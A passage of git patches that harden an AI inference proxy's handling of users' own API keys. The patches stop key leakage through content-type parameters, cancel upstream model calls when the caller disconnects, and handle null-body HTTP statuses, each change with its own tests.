['set-cookie', `k=${KEY}`]], body: stream(), closed, abort: () => close('cut') }; + return { kind: 'response', status: 200, headers: [['content-type', contentType], ['set-cookie', `k=${KEY}`]], body: stream(), closed, abort: () => close('cut') }; }, }; const executor = createInferenceExecutor({ @@ -193,6 +199,18 @@ describe('createInferenceExecutor', () => { expect([sent[0]?.method, sent[0]?.url, sent[0]?.body.byteLength, asChat.ok ? 'sent' : asChat.reason, sent.length]).toEqual(['GET', 'https://openrouter.ai/api/v1/key', 0, 'refused', 1]); }); + it('given an upstream content type whose parameters carry the key, should release only a fixed media type', async () => { + const released: string[] = []; + for (const contentType of [`text/event-stream; token=${KEY}`, `Application/JSON;charset=utf-8;k=${KEY}`, `text/html; k=${KEY}`, `text/event-streamx; k=${KEY}`]) { + const { executor } = harness({ contentType }); + const { grant, signature } = grantFor(body); + const result = await executor.execute({ grant, signature, body, run }); + await drain(result); + released.push(result.ok ? result.contentType : `refused:${result.reason}`); + } + expect(released).toEqual(['text/event-stream', 'application/json', 'application/octet-stream', 'application/octet-stream']); + }); + it('given the same grant presented twice, should send nothing the second time', async () => { const { executor, sent } = harness(); const { grant, signature } = grantFor(body); diff --git a/packages/lib/src/agent-accounts/executor/inference-executor.ts b/packages/lib/src/agent-accounts/executor/inference-executor.ts index b60ff5d939..d19ffffbe5 100644 --- a/packages/lib/src/agent-accounts/executor/inference-executor.ts +++ b/packages/lib/src/agent-accounts/executor/inference-executor.ts @@ -79,8 +79,16 @@ export type InferenceResult = InferenceStarted | PlaneInferenceRefusal; export type InferenceExecutor = { readonly execute: (input: InferenceRequest) => Promise }; const REFUSED: PlaneInferenceRefusal = { ok: false, reason: 'refused' }; -/** The upstream headers a caller may see: nothing that could carry the key or tracking, only how to read the body. */ -const RELEASED_CONTENT_TYPES = /^(text\/event-stream|application\/json)\b/i; +/** + * The content type a caller may see: a FIXED value chosen by the upstream's media type, never the upstream's own + * header — its parameters (`text/event-stream; token=…`) are not scrubbed and could carry the key. + */ +export function releasedContentType(upstream: string): 'text/event-stream' | 'application/json' | 'application/octet-stream' { + const media = (upstream.split(';')[0] ?? '').trim().toLowerCase(); + if (media === 'text/event-stream') return 'text/event-stream'; + if (media === 'application/json') return 'application/json'; + return 'application/octet-stream'; +} export function createInferenceExecutor(deps: InferenceExecutorDeps): InferenceExecutor { const presenter = { keyId: deps.presenterKeyId, channel: 'inference-executor' as const }; @@ -215,7 +223,7 @@ export function createInferenceExecutor(deps: InferenceExecutorDeps): InferenceE announce({ ok: true, status: sent.status, - contentType: RELEASED_CONTENT_TYPES.test(contentType) ? contentType : 'application/octet-stream', + contentType: releasedContentType(contentType), body: released(), cancel: sent.abort, finished, From c3cf7884396b02bccf15ccb4493ebfc92d03c0b9 Mon Sep 17 00:00:00 2001 From: 2witstudios <2witstudios@gmail.com> Date: Sun, 29 Nov 2026 21:57:32 -0600 Subject: [PATCH 15/35] fix(byok): cancel a model call when the web caller leaves before the upstream answers The plane's inference route awaited `inference.execute` (which resolves only once OpenRouter's headers arrive) before `pipeInference` registered its close listener, so a web process that disconnected meanwhile left the upstream call running to completion or the ten-minute limit. The route now installs an AbortController on `res` close / `req` aborted before the await and passes its signal through `InferenceRequest.signal` to the executor and on to `PinnedHttpsStreamClient.stream(request, { signal })`. The executor sends nothing for a signal that aborted before `act`, and cuts a started exchange when it aborts after the headers arrived; the stream client sends nothing when aborted before connecting and destroys the request otherwise (new failure reason `aborted`). An answer that arrives after the caller left is cancelled at once and never piped. The connected-caller path (pipeInference) is unchanged. Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_01QyQdJ12jxXV5C9TW95PTr3 --- .../__tests__/inference-executor.test.ts | 41 ++++- .../__tests__/plane-inference-stream.test.ts | 140 ++++++++++++++++++ .../executor/inference-executor.ts | 18 ++- .../executor/pinned-https-stream.ts | 27 +++- .../executor/plane-http-adapter.ts | 13 ++ 5 files changed, 229 insertions(+), 10 deletions(-) create mode 100644 packages/lib/src/agent-accounts/executor/__tests__/plane-inference-stream.test.ts diff --git a/packages/lib/src/agent-accounts/executor/__tests__/inference-executor.test.ts b/packages/lib/src/agent-accounts/executor/__tests__/inference-executor.test.ts index e2981131c9..1d262acd6e 100644 --- a/packages/lib/src/agent-accounts/executor/__tests__/inference-executor.test.ts +++ b/packages/lib/src/agent-accounts/executor/__tests__/inference-executor.test.ts @@ -96,6 +96,8 @@ function harness({ contentType = 'text/event-stream', }: { chunks?: readonly string[]; row?: AgentAccountRecord; pinnedOrigin?: string; reserves?: boolean; contentType?: string } = {}) { const sent: OutboundRequest[] = []; + const signals: (AbortSignal | undefined)[] = []; + let aborts = 0; const audit: string[] = []; const finished: string[] = []; const spent = new Set(); @@ -119,8 +121,10 @@ function harness({ }, }; const network = { - stream: async (request: OutboundRequest): Promise => { + stream: async (request: OutboundRequest, options?: { readonly signal?: AbortSignal }): Promise => { + if (options?.signal?.aborted) return { kind: 'failed', phase: 'before_send', reason: 'aborted' }; sent.push(request); + signals.push(options?.signal); let close: (how: 'complete' | 'cut') => void = () => undefined; const closed = new Promise<'complete' | 'cut'>((done) => { close = done; @@ -129,7 +133,17 @@ function harness({ for (const chunk of chunks) yield new TextEncoder().encode(chunk); close('complete'); } - return { kind: 'response', status: 200, headers: [['content-type', contentType], ['set-cookie', `k=${KEY}`]], body: stream(), closed, abort: () => close('cut') }; + return { + kind: 'response', + status: 200, + headers: [['content-type', contentType], ['set-cookie', `k=${KEY}`]], + body: stream(), + closed, + abort: () => { + aborts += 1; + close('cut'); + }, + }; }, }; const executor = createInferenceExecutor({ @@ -152,7 +166,7 @@ function harness({ now: () => Date.now(), rotationGraceMs: 300_000, }); - return { executor, sent, audit, finished }; + return { executor, sent, audit, finished, signals, aborts: () => aborts }; } async function drain(result: InferenceResult): Promise { @@ -211,6 +225,27 @@ describe('createInferenceExecutor', () => { expect(released).toEqual(['text/event-stream', 'application/json', 'application/octet-stream', 'application/octet-stream']); }); + it('given a caller that went away before the upstream was called, should send nothing', async () => { + const { executor, sent } = harness(); + const { grant, signature } = grantFor(body); + const gone = new AbortController(); + gone.abort(); + const result = await executor.execute({ grant, signature, body, run, signal: gone.signal }); + expect([result.ok ? 'sent' : result.reason, sent.length]).toEqual(['upstream_unreachable', 0]); + }); + + it('given a caller signal, should hand it to the network client, and cut the exchange when it aborts after the headers arrived', async () => { + const { executor, signals, aborts } = harness(); + const { grant, signature } = grantFor(body); + const gone = new AbortController(); + const result = await executor.execute({ grant, signature, body, run, signal: gone.signal }); + const handed = signals[0] === gone.signal; + const beforeAbort = aborts(); + gone.abort(); + if (result.ok) await result.finished; + expect({ ok: result.ok, handed, beforeAbort, afterAbort: aborts() }).toEqual({ ok: true, handed: true, beforeAbort: 0, afterAbort: 1 }); + }); + it('given the same grant presented twice, should send nothing the second time', async () => { const { executor, sent } = harness(); const { grant, signature } = grantFor(body); diff --git a/packages/lib/src/agent-accounts/executor/__tests__/plane-inference-stream.test.ts b/packages/lib/src/agent-accounts/executor/__tests__/plane-inference-stream.test.ts new file mode 100644 index 0000000000..e2cfe4d4a8 --- /dev/null +++ b/packages/lib/src/agent-accounts/executor/__tests__/plane-inference-stream.test.ts @@ -0,0 +1,140 @@ +/** + * ADR 0009 — the plane listener's inference route and its caller going away. Pinned here: + * - the cancellation signal is installed BEFORE the executor waits for the upstream's headers, so a web + * process that disconnects meanwhile aborts it; + * - an answer that arrives after the caller left is cancelled at once, never piped; + * - a caller that stays connected gets the scrubbed stream with the upstream status beside it, as before; + * - the pinned stream client sends nothing for a signal that aborted before it connected. + */ +import { afterEach, describe, expect, it } from 'vitest'; +import { createServer, request as httpRequest, type Server } from 'node:http'; +import type { AddressInfo } from 'node:net'; +import { createHash, createHmac } from 'node:crypto'; +import { createPlaneRequestHandler, type PlaneRequestHandlerDeps } from '../plane-http-adapter'; +import { INFERENCE_UPSTREAM_STATUS_HEADER, PLANE_ROUTES } from '../plane-wire'; +import { PLANE_SIGNATURE_HEADER, signPlaneRequest } from '../plane-request-signature'; +import type { InferenceExecutor, InferenceRequest, InferenceStarted } from '../inference-executor'; +import { createPinnedHttpsStreamClient } from '../pinned-https-stream'; + +const SECRET = 'plane-service-secret-0123456789abcdef'; +const hmac = (key: string, text: string) => createHmac('sha256', key).update(text).digest('hex'); +const sha256 = (bytes: Uint8Array) => createHash('sha256').update(bytes).digest('hex'); +const untouched = (): never => { + throw new Error('a plane operation was reached'); +}; + +function deferred() { + let resolve: (value: T) => void = () => undefined; + const promise = new Promise((done) => { + resolve = done; + }); + return { promise, resolve }; +} + +function started(cancel: () => void): InferenceStarted { + async function* body() { + yield new TextEncoder().encode('data: hello\n\n'); + } + return { ok: true, status: 202, contentType: 'text/event-stream', body: body(), cancel, finished: Promise.resolve() }; +} + +let server: Server | null = null; + +async function listen(inference: InferenceExecutor): Promise { + const deps: PlaneRequestHandlerDeps = { + secret: SECRET, + store: { put: untouched, revoke: untouched, delete: untouched, describe: untouched, rebind: untouched }, + usage: { window: untouched }, + oauth: null, + ssh: null, + inference, + provisioner: { ensureTenant: untouched, identityOf: untouched }, + executor: { execute: untouched } as unknown as PlaneRequestHandlerDeps['executor'], + hmac, + sha256, + now: () => Date.now(), + }; + server = createServer(createPlaneRequestHandler(deps)); + await new Promise((resolve) => server?.listen(0, '127.0.0.1', resolve)); + return `http://127.0.0.1:${(server.address() as AddressInfo).port}`; +} + +afterEach(async () => { + await new Promise((resolve) => (server === null ? resolve() : server.close(() => resolve()))); + server = null; +}); + +const envelope = JSON.stringify({ grant: {}, signature: 'sig', body: '{}', run: { human: { userId: 'u1', sessionId: 's1' }, agentPageId: null, conversationId: 'c1', runId: 'r1' } }); + +/** POST the signed inference envelope; the returned request can be destroyed to simulate the web process going away. */ +function post(base: string) { + const bytes = new TextEncoder().encode(envelope); + const header = signPlaneRequest({ method: 'POST', path: PLANE_ROUTES.inferenceStream, body: bytes, secret: SECRET, now: Date.now(), hmac, sha256 }); + const response = deferred<{ status: number; upstreamStatus: string | undefined; text: string }>(); + const req = httpRequest(`${base}${PLANE_ROUTES.inferenceStream}`, { method: 'POST', headers: { 'content-type': 'application/json', [PLANE_SIGNATURE_HEADER]: header } }, (res) => { + const chunks: Buffer[] = []; + res.on('data', (chunk: Buffer) => chunks.push(chunk)); + res.on('end', () => response.resolve({ status: res.statusCode ?? 0, upstreamStatus: res.headers[INFERENCE_UPSTREAM_STATUS_HEADER] as string | undefined, text: Buffer.concat(chunks).toString('utf8') })); + }); + req.on('error', () => undefined); + req.end(Buffer.from(bytes)); + return { req, response: response.promise }; +} + +describe('plane inference route', () => { + it('given a caller that disconnects while the executor waits for the upstream, should abort its signal and cancel the late answer without piping it', async () => { + const called = deferred(); + const answer = deferred(); + const cancelled = deferred(); + const base = await listen({ + execute: async (input) => { + called.resolve(input); + await answer.promise; + return started(() => cancelled.resolve()); + }, + }); + const { req } = post(base); + const input = await called.promise; + const abortedBeforeLeaving = input.signal?.aborted; + const aborted = new Promise((resolve) => input.signal?.addEventListener('abort', () => resolve(), { once: true })); + req.destroy(); + await aborted; + answer.resolve(); + await cancelled.promise; + expect({ signalInstalled: input.signal !== undefined, abortedBeforeLeaving, abortedAfter: input.signal?.aborted }).toEqual({ signalInstalled: true, abortedBeforeLeaving: false, abortedAfter: true }); + }); + + it('given a caller that stays connected, should stream the answer with the upstream status beside it', async () => { + const base = await listen({ execute: async () => started(() => undefined) }); + const { response } = post(base); + expect(await response).toEqual({ status: 200, upstreamStatus: '202', text: 'data: hello\n\n' }); + }); +}); + +describe('createPinnedHttpsStreamClient with a signal', () => { + const outbound = { method: 'POST' as const, url: 'https://openrouter.ai/api/v1/chat/completions', hostname: 'openrouter.ai', port: 9, headers: [], body: new Uint8Array() }; + + it('given a signal already aborted, should not even resolve the host', async () => { + let lookups = 0; + const client = createPinnedHttpsStreamClient({ resolveHost: async () => { + lookups += 1; + return [{ address: '127.0.0.1', family: 4 }]; + }, isPublic: () => true }); + const gone = new AbortController(); + gone.abort(); + expect([await client.stream(outbound, { signal: gone.signal }), lookups]).toEqual([{ kind: 'failed', phase: 'before_send', reason: 'aborted' }, 0]); + }); + + it('given a signal that aborts while the host resolves, should not connect', async () => { + const gone = new AbortController(); + const client = createPinnedHttpsStreamClient({ + resolveHost: async () => { + gone.abort(); + return [{ address: '127.0.0.1', family: 4 }]; + }, + isPublic: () => true, + }); + // Port 9 refuses: a connection attempt would come back as `connect`, not `aborted`. + expect(await client.stream(outbound, { signal: gone.signal })).toEqual({ kind: 'failed', phase: 'before_send', reason: 'aborted' }); + }); +}); diff --git a/packages/lib/src/agent-accounts/executor/inference-executor.ts b/packages/lib/src/agent-accounts/executor/inference-executor.ts index d19ffffbe5..7b7071eff0 100644 --- a/packages/lib/src/agent-accounts/executor/inference-executor.ts +++ b/packages/lib/src/agent-accounts/executor/inference-executor.ts @@ -60,6 +60,8 @@ export type InferenceRequest = { /** Default `chat`. */ readonly call?: InferenceCall; readonly run: RunEnvelope; + /** The caller went away: nothing is sent if it has not been yet, and a started exchange is cut. */ + readonly signal?: AbortSignal; }; export type InferenceStarted = { @@ -105,7 +107,7 @@ export function createInferenceExecutor(deps: InferenceExecutorDeps): InferenceE } return { - async execute({ grant: claim, signature, body, run, call = 'chat' }) { + async execute({ grant: claim, signature, body, run, call = 'chat', signal }) { const now = deps.now(); const parsed = parseGrant({ grant: claim }); if (!parsed.ok) return deny(claim, 'malformed', now); @@ -174,6 +176,10 @@ export function createInferenceExecutor(deps: InferenceExecutorDeps): InferenceE }); const act = async (): Promise => { + if (signal?.aborted) { + announce({ ok: false, reason: 'upstream_unreachable' }); + return { kind: 'upstream_failed', upstreamStatus: null }; + } const resolved = await deps.store.resolve<'inference-executor', 'api_key'>({ ref: { tenantId: identityBase.tenantId, accountId: grant.accountId, kind: 'api_key' }, version: grant.credentialVersion, @@ -204,12 +210,20 @@ export function createInferenceExecutor(deps: InferenceExecutorDeps): InferenceE ['x-title', 'PageSpace'], ], body: new TextEncoder().encode(body), - }); + }, { signal }); if (sent.kind !== 'response') { announce({ ok: false, reason: 'upstream_unreachable' }); return sent.kind === 'failed' && sent.phase === 'after_send' ? { kind: 'unknown' } : { kind: 'upstream_failed', upstreamStatus: null }; } const upstream = sent; + // The caller may go away after the headers arrived but before anyone pipes the body: cut it then too. + if (signal !== undefined) { + if (signal.aborted) sent.abort(); + else { + signal.addEventListener('abort', sent.abort, { once: true }); + void sent.closed.finally(() => signal.removeEventListener('abort', sent.abort)); + } + } const scrubber = createStreamScrubber({ knownValues: [key, `Bearer ${key}`] }); async function* released(): AsyncGenerator { for await (const chunk of upstream.body) { diff --git a/packages/lib/src/agent-accounts/executor/pinned-https-stream.ts b/packages/lib/src/agent-accounts/executor/pinned-https-stream.ts index 6de6a71bc9..71a4a14fb2 100644 --- a/packages/lib/src/agent-accounts/executor/pinned-https-stream.ts +++ b/packages/lib/src/agent-accounts/executor/pinned-https-stream.ts @@ -44,9 +44,12 @@ export type StreamedResponse = { export type StreamSendOutcome = | StreamedResponse | { readonly kind: 'refused'; readonly reason: 'dns_failed' | 'no_address' | 'non_public_address' | 'busy' } - | { readonly kind: 'failed'; readonly phase: 'before_send' | 'after_send'; readonly reason: 'tls' | 'connect' | 'timeout' | 'upgrade_refused' | 'network' }; + | { readonly kind: 'failed'; readonly phase: 'before_send' | 'after_send'; readonly reason: 'tls' | 'connect' | 'timeout' | 'upgrade_refused' | 'network' | 'aborted' }; -export type PinnedHttpsStreamClient = { readonly stream: (request: OutboundRequest) => Promise }; +export type PinnedHttpsStreamClient = { + /** `signal`: the caller went away. Before any byte is sent nothing is; after, the exchange is cut as `abort` does. */ + readonly stream: (request: OutboundRequest, options?: { readonly signal?: AbortSignal }) => Promise; +}; export function createPinnedHttpsStreamClient({ resolveHost, @@ -63,7 +66,8 @@ export function createPinnedHttpsStreamClient({ let inFlight = 0; return { - async stream(outbound) { + async stream(outbound, { signal } = {}) { + if (signal?.aborted) return { kind: 'failed', phase: 'before_send', reason: 'aborted' }; if (inFlight >= limits.maxConcurrent) return { kind: 'refused', reason: 'busy' }; inFlight += 1; let released = false; @@ -84,7 +88,7 @@ export function createPinnedHttpsStreamClient({ release(); return { kind: 'refused', reason: pinned.reason }; } - const outcome = await streamPinned(outbound, pinned, limits, ca); + const outcome = await streamPinned(outbound, pinned, limits, ca, signal); if (outcome.kind === 'response') void outcome.closed.finally(release); else release(); return outcome; @@ -92,8 +96,15 @@ export function createPinnedHttpsStreamClient({ }; } -function streamPinned(outbound: OutboundRequest, pinned: { readonly address: string; readonly family: 4 | 6 }, limits: PinnedStreamLimits, ca: string | undefined): Promise { +function streamPinned( + outbound: OutboundRequest, + pinned: { readonly address: string; readonly family: 4 | 6 }, + limits: PinnedStreamLimits, + ca: string | undefined, + signal: AbortSignal | undefined, +): Promise { return new Promise((resolve) => { + if (signal?.aborted) return resolve({ kind: 'failed', phase: 'before_send', reason: 'aborted' }); let settled = false; let handshakeDone = false; let response: IncomingMessage | null = null; @@ -140,6 +151,12 @@ function streamPinned(outbound: OutboundRequest, pinned: { readonly address: str settle({ kind: 'failed', phase: handshakeDone ? 'after_send' : 'before_send', reason: 'timeout' }); closeResult('cut'); }, limits.totalTimeoutMs); + const onAbort = () => { + abort(); + settle({ kind: 'failed', phase: handshakeDone ? 'after_send' : 'before_send', reason: 'aborted' }); + }; + signal?.addEventListener('abort', onAbort, { once: true }); + void closed.finally(() => signal?.removeEventListener('abort', onAbort)); req.on('socket', (socket) => { socket.once('secureConnect', () => { diff --git a/packages/lib/src/agent-accounts/executor/plane-http-adapter.ts b/packages/lib/src/agent-accounts/executor/plane-http-adapter.ts index 177a7a5a74..4b1af96289 100644 --- a/packages/lib/src/agent-accounts/executor/plane-http-adapter.ts +++ b/packages/lib/src/agent-accounts/executor/plane-http-adapter.ts @@ -307,7 +307,14 @@ export function createPlaneRequestHandler(deps: PlaneRequestHandlerDeps): (req: if (!parsed.success) return send(res, 400, { error: 'malformed' }); if (deps.inference === null) return send(res, 404, { error: 'not_found' }); const { grant, signature: grantSignature, body: modelBody, run } = parsed.data; + // Installed BEFORE waiting for the upstream's headers: a web process that goes away meanwhile stops the + // call (nothing is sent, or the exchange is cut) instead of leaving it to run to its ten-minute limit. + const gone = new AbortController(); + const stop = () => gone.abort(); + res.on('close', stop); + req.on('aborted', stop); const result = await deps.inference.execute({ + signal: gone.signal, call: parsed.data.call, grant, signature: grantSignature, @@ -320,6 +327,12 @@ export function createPlaneRequestHandler(deps: PlaneRequestHandlerDeps): (req: }, }); if (!result.ok) return send(res, 200, result); + if (gone.signal.aborted || res.destroyed) { + // The caller left while the upstream was answering: nobody will read it. + result.cancel(); + await result.finished; + return; + } return pipeInference(req, res, result); } From 9d12c567e664a653501c1b86988fdc7a96c23591 Mon Sep 17 00:00:00 2001 From: 2witstudios <2witstudios@gmail.com> Date: Sun, 29 Nov 2026 21:58:14 -0600 Subject: [PATCH 16/35] fix(byok): give an upstream null-body status a null Response body The plane always answers the web process with HTTP 200 and the upstream status in a header. For an upstream 204, 205 or 304, `new Response(transportBody, { status })` threw a TypeError, which the catch classified as `outcome_unknown` although the call had run and answered. For those statuses the transport body is now cancelled and the Response is built with a null body. Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_01QyQdJ12jxXV5C9TW95PTr3 --- .../plane-client-infer-stream.test.ts | 56 +++++++++++++++++++ .../lib/src/agent-accounts/plane-client.ts | 11 +++- 2 files changed, 65 insertions(+), 2 deletions(-) create mode 100644 packages/lib/src/agent-accounts/__tests__/plane-client-infer-stream.test.ts diff --git a/packages/lib/src/agent-accounts/__tests__/plane-client-infer-stream.test.ts b/packages/lib/src/agent-accounts/__tests__/plane-client-infer-stream.test.ts new file mode 100644 index 0000000000..cb3fca4c82 --- /dev/null +++ b/packages/lib/src/agent-accounts/__tests__/plane-client-infer-stream.test.ts @@ -0,0 +1,56 @@ +/** + * ADR 0009 — `createPlaneClient().inferStream` rebuilding OpenRouter's answer from the plane's transport response + * (always HTTP 200, the upstream status in a header). Pinned here: + * - a null-body upstream status (204, 205, 304) becomes a Response with a null body, the transport body cancelled, + * instead of a TypeError from `new Response(stream, { status: 204 })`; + * - any other status keeps the streamed body. + */ +import { describe, expect, it } from 'vitest'; +import { createPlaneClient } from '../plane-client'; +import { INFERENCE_UPSTREAM_HEADER, INFERENCE_UPSTREAM_STATUS_HEADER } from '../executor/plane-wire'; +import type { PlaneInferenceStreamBody } from '../executor/plane-wire'; + +const body = { grant: {}, signature: 'sig', call: 'chat', body: '{}', run: { human: { userId: 'u1', sessionId: 's1' }, agentPageId: null, conversationId: 'c1', runId: 'r1' } } as unknown as PlaneInferenceStreamBody; + +function clientAnswering(upstreamStatus: number) { + let cancelled = false; + const transportBody = new ReadableStream({ + start(controller) { + controller.enqueue(new TextEncoder().encode('data: hi\n\n')); + controller.close(); + }, + cancel() { + cancelled = true; + }, + }); + const fetchImpl = (async () => + new Response(transportBody, { + status: 200, + headers: { 'content-type': 'text/event-stream', [INFERENCE_UPSTREAM_HEADER]: 'upstream', [INFERENCE_UPSTREAM_STATUS_HEADER]: String(upstreamStatus) }, + })) as typeof fetch; + const client = createPlaneClient({ baseUrl: 'http://plane.test', secret: 'plane-service-secret-0123456789abcdef', fetchImpl }); + return { client, cancelled: () => cancelled }; +} + +describe('plane client inferStream', () => { + it('given an upstream 204, 205 or 304, should return that status with a null body and cancel the transport body', async () => { + const seen: unknown[] = []; + for (const status of [204, 205, 304]) { + const { client, cancelled } = clientAnswering(status); + const result = await client.inferStream(body); + seen.push(result.ok ? { status: result.response.status, body: result.response.body, cancelled: cancelled() } : result.reason); + } + expect(seen).toEqual([ + { status: 204, body: null, cancelled: true }, + { status: 205, body: null, cancelled: true }, + { status: 304, body: null, cancelled: true }, + ]); + }); + + it('given an upstream 200, should stream the body through', async () => { + const { client } = clientAnswering(200); + const result = await client.inferStream(body); + const read = result.ok ? { status: result.response.status, text: await result.response.text() } : result.reason; + expect(read).toEqual({ status: 200, text: 'data: hi\n\n' }); + }); +}); diff --git a/packages/lib/src/agent-accounts/plane-client.ts b/packages/lib/src/agent-accounts/plane-client.ts index 2eeab9ef34..593ffb63cb 100644 --- a/packages/lib/src/agent-accounts/plane-client.ts +++ b/packages/lib/src/agent-accounts/plane-client.ts @@ -72,6 +72,9 @@ export type PlaneClient = { readonly inferStream: (body: PlaneInferenceStreamBody, options?: { readonly signal?: AbortSignal }) => Promise<{ readonly ok: true; readonly response: Response } | PlaneInferenceRefusal | PlaneUnavailable | { readonly ok: false; readonly reason: 'outcome_unknown' | 'refused' }>; }; +/** Statuses whose Response must have a null body (Fetch spec); an upstream may answer with one. */ +const NULL_BODY_STATUSES: ReadonlySet = new Set([204, 205, 304]); + /** A streamed model call may run for the executor's whole 10 minutes. */ const INFERENCE_TIMEOUT_MS = 11 * 60_000; @@ -133,10 +136,14 @@ export function createPlaneClient({ if (response.status !== 200) return failed('inferenceStream', { kind: 'status', status: response.status }); if (response.headers.get(INFERENCE_UPSTREAM_HEADER) !== 'upstream') return (await response.json()) as PlaneInferenceRefusal; const upstreamStatus = Number(response.headers.get(INFERENCE_UPSTREAM_STATUS_HEADER)); + const status = Number.isInteger(upstreamStatus) && upstreamStatus >= 200 && upstreamStatus <= 599 ? upstreamStatus : 502; + // A null-body status cannot carry the transport's body stream (`new Response` throws): drop it. + const nullBody = NULL_BODY_STATUSES.has(status); + if (nullBody) await response.body?.cancel().catch(() => undefined); return { ok: true as const, - response: new Response(response.body, { - status: Number.isInteger(upstreamStatus) && upstreamStatus >= 200 && upstreamStatus <= 599 ? upstreamStatus : 502, + response: new Response(nullBody ? null : response.body, { + status, headers: { 'content-type': response.headers.get('content-type') ?? 'application/octet-stream' }, }), }; From fe44904c03a0c1c2f525f10a7c1e174654b7fbcd Mon Sep 17 00:00:00 2001 From: 2witstudios <2witstudios@gmail.com> Date: Sun, 29 Nov 2026 22:24:08 -0600 Subject: [PATCH 17/35] refactor(byok): one copy of the own-key-unavailable message; type the factory test's key mock Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_01QyQdJ12jxXV5C9TW95PTr3 --- .../web/src/lib/ai/core/__tests__/provider-factory.test.ts | 2 +- apps/web/src/lib/ai/core/plane-inference-fetch.ts | 3 ++- apps/web/src/lib/ai/core/provider-factory.ts | 7 ++----- 3 files changed, 5 insertions(+), 7 deletions(-) diff --git a/apps/web/src/lib/ai/core/__tests__/provider-factory.test.ts b/apps/web/src/lib/ai/core/__tests__/provider-factory.test.ts index 5c1f504184..668b9a2953 100644 --- a/apps/web/src/lib/ai/core/__tests__/provider-factory.test.ts +++ b/apps/web/src/lib/ai/core/__tests__/provider-factory.test.ts @@ -64,7 +64,7 @@ const getOrgPolicies = vi.hoisted(() => vi.fn()); vi.mock('@pagespace/lib/organizations/policy-reader', () => ({ getDrivePolicies, getOrgPolicies })); // BYOK (ADR 0009): whose key runs is decided in model-key-source (tested there); here it is PageSpace's unless a test says. -const resolveModelKeySource = vi.hoisted(() => vi.fn(async () => ({ source: 'managed' as const }))); +const resolveModelKeySource = vi.hoisted(() => vi.fn(async (_scope: unknown) => ({ source: 'managed' as const }))); vi.mock('../model-key-source', () => ({ resolveModelKeySource })); vi.mock('@/lib/agent-accounts/account-authority-client', () => ({ getAccountAuthority: vi.fn(() => null) })); diff --git a/apps/web/src/lib/ai/core/plane-inference-fetch.ts b/apps/web/src/lib/ai/core/plane-inference-fetch.ts index b080eb7082..a76e597fe8 100644 --- a/apps/web/src/lib/ai/core/plane-inference-fetch.ts +++ b/apps/web/src/lib/ai/core/plane-inference-fetch.ts @@ -11,6 +11,7 @@ import type { AccountAuthority, InferenceRefusal } from '@pagespace/lib/agent-accounts/account-authority-executor'; import type { ConversationId, RunId, SessionId, UserId } from '@pagespace/lib/agent-accounts/grant'; import { INFERENCE_URL } from '@pagespace/lib/agent-accounts/inference/model-key'; +import { BYOK_UNAVAILABLE_MESSAGE } from './byok-responses'; export type PlaneInferenceContext = { readonly userId: string; @@ -38,7 +39,7 @@ const REFUSAL_COPY: Record Date: Sun, 29 Nov 2026 22:51:17 -0600 Subject: [PATCH 18/35] fix(byok): nested runs inherit the caller's key; unknown outcomes are never re-sent Second review round (ADR 0009): - ask_agent inherits the calling run's key. A caller on PageSpace's key keeps the consult there (its question may carry org content). A caller on the person's key refuses a consult that would land on PageSpace's key (its answer may carry org content back). Images from a managed turn stay managed. - A turn's compaction inherits the turn's key and content drives (page chat, global, v1, ask_agent), so it cannot decide before the turn's managed row is written. - Consult usage rows carry their conversation, so the I10 ratchet sees them. - An inference exchange that broke after the request was sent answers outcome_unknown (424, not retried), not upstream_unreachable (502, retried). - A key OpenRouter rejects is revoked in the main DB even when the plane cannot revoke it right now, so it never becomes the person's key. - The funder rule asks isDriveLead (drive-access seam). The I10 test pins that only calls not on the person's key count. Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_01QyQdJ12jxXV5C9TW95PTr3 --- .../app/api/ai/page-agents/consult/route.ts | 2 ++ .../src/app/api/v1/chat/completions/route.ts | 3 +++ .../lib/ai/chat-pipeline/global-chat-turn.ts | 2 ++ .../lib/ai/chat-pipeline/page-chat-turn.ts | 3 +++ .../core/__tests__/model-key-source.test.ts | 7 +++-- .../ai/core/compaction/compaction-service.ts | 7 +++-- .../lib/ai/core/compaction/prepare-context.ts | 11 ++++++++ apps/web/src/lib/ai/core/model-key-source.ts | 3 ++- .../agent-communication-tools.test.ts | 21 ++++++++++++++- .../lib/ai/tools/agent-communication-tools.ts | 23 +++++++++++++++- .../lib/ai/tools/image-generation-tools.ts | 4 ++- ...model-keys-through-the-credential-plane.md | 4 ++- .../__tests__/model-key-authority.test.ts | 27 ++++++++++++++++--- .../account-authority-executor.ts | 4 ++- .../__tests__/inference-executor.test.ts | 15 ++++++++++- .../executor/inference-executor.ts | 6 +++-- .../src/agent-accounts/executor/plane-wire.ts | 8 ++++-- 17 files changed, 132 insertions(+), 18 deletions(-) diff --git a/apps/web/src/app/api/ai/page-agents/consult/route.ts b/apps/web/src/app/api/ai/page-agents/consult/route.ts index 2ee7129497..ca44861e1a 100644 --- a/apps/web/src/app/api/ai/page-agents/consult/route.ts +++ b/apps/web/src/app/api/ai/page-agents/consult/route.ts @@ -869,6 +869,8 @@ export async function POST(request: Request) { totalTokens: usage?.totalTokens ?? (usage ? ((usage.inputTokens ?? 0) + (usage.outputTokens ?? 0)) : undefined), pageId: agentId, driveId: sessionDrive, + // The conversation the call answers: what keeps it on PageSpace's key once it ran there (ADR 0009 I10). + conversationId: activeConversationId, success: true, holdId, walletId, diff --git a/apps/web/src/app/api/v1/chat/completions/route.ts b/apps/web/src/app/api/v1/chat/completions/route.ts index 94036131ea..9bdadd2daa 100644 --- a/apps/web/src/app/api/v1/chat/completions/route.ts +++ b/apps/web/src/app/api/v1/chat/completions/route.ts @@ -619,6 +619,9 @@ export async function POST(request: Request): Promise { tools: finalTools as Record, user: { id: authResult.userId, role: gateUser?.role ?? null }, spend, + // BYOK: the compaction this call schedules decides as the call did, on the agent page's drive too (ADR 0009). + keySource: providerResult.keySource, + contentDriveIds: [page.driveId], }); v1ScheduleCompaction = prepared.scheduleCompaction; ({ modelMessages: compactedModelMessages } = await finishModelRequest({ prepared, tools: finalTools })); diff --git a/apps/web/src/lib/ai/chat-pipeline/global-chat-turn.ts b/apps/web/src/lib/ai/chat-pipeline/global-chat-turn.ts index cf4a8bb4f8..f675603857 100644 --- a/apps/web/src/lib/ai/chat-pipeline/global-chat-turn.ts +++ b/apps/web/src/lib/ai/chat-pipeline/global-chat-turn.ts @@ -1067,6 +1067,8 @@ export async function 